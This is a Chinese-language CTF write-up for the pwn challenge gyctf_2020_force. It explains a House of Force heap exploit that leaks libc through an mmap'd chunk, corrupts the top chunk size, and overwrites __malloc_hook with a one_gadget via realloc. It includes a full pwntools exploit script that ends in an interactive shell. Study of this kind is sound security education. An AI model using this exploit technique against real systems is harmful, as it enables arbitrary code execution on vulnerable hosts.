可以看到保护全开
main函数两个功能一个是添加,还有一个是puts,当然这个puts没有用
光看题目,其实就有想到应该是house of force
固定读入0x50个数据,这里就存在堆溢出。同时会每次打印出申请堆块的地址,所以我们申请一个大一点的堆块就可以调用mmap来申请堆块,而这个实现的堆块是跟libc有固定偏移的,所以我们只要申请一个大一点的堆块就可以泄露libc的地址。
libcbase=creat(0x200000,"aaaa")+2101232
log.success("libcbase------->"+hex(libcbase))
因为存在堆溢出,我们只要将top chunk的size改为0xffffffffffffffff就可以申请无穷大的堆块
payload = p64(0)*3+p64(0xffffffffffffffff)
heapaddr=creat(0x18,payload)
我们的目标是malloc__hook,所以我们要将堆块搞到malloc_hook附近然后用one_gadget来打通,可惜的是这里还要通过realloc来调整栈帧。
offset = malloc_hook - topheap-0x30
creat(offset,"bbbbbbbb")
onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
payload = p64(0)+p64(onegadget[1]+libcbase)+p64(realloc+0x10)
creat(0x10,payload)
这里为什么还要减掉0x30,这是因为我们要在malloc_hook和realloc_hook写东西,我们得至少将前两块空出来
这是没有0x30的堆块,我们可以看到,topchunk的size已经去malloc_hook的下面了,就是没有我们要的效果
这是有偏移的
这是我们实现的效果
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
#context.arch = 'amd64'
io =process('./gyctf_2020_force')
#io = remote("node4.buuoj.cn",25704)
elf = ELF('./gyctf_2020_force')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('libc-2.23.so')
def debug():
gdb.attach(io)
pause()
def creat(size,value):
io.recvuntil("2:puts")
io.sendline("1")
io.recvuntil("size")
io.sendline(str(size))
io.recvuntil("bin addr 0x")
address = int(io.recvuntil("\n")[:-1],16)
log.success("address:"+hex(address))
io.recvuntil("content")
io.send(value)
return address
libcbase=creat(0x200000,"aaaa")+2101232
log.success("libcbase------->"+hex(libcbase))
payload = p64(0)*3+p64(0xffffffffffffffff)
heapaddr=creat(0x18,payload)
topheap=heapaddr+0x10
log.success("topheap------->"+hex(topheap))
malloc_hook = libcbase+libc.sym["__malloc_hook"]
realloc = libcbase+libc.sym["__libc_realloc"]
log.success("malloc_hook------>"+hex(malloc_hook))
log.success("realloc------>"+hex(realloc))
offset = malloc_hook - topheap-0x30
creat(offset,"bbbbbbbb")
debug()
onegadget=[0x45216,0x4526a,0xf02a4,0xf1147]
payload = p64(0)+p64(onegadget[1]+libcbase)+p64(realloc+0x10)
creat(0x10,payload)
#debug()
io.recvuntil("2:puts")
io.sendline("1")
io.recvuntil("size")
io.sendline(str(0x40))
io.interactive()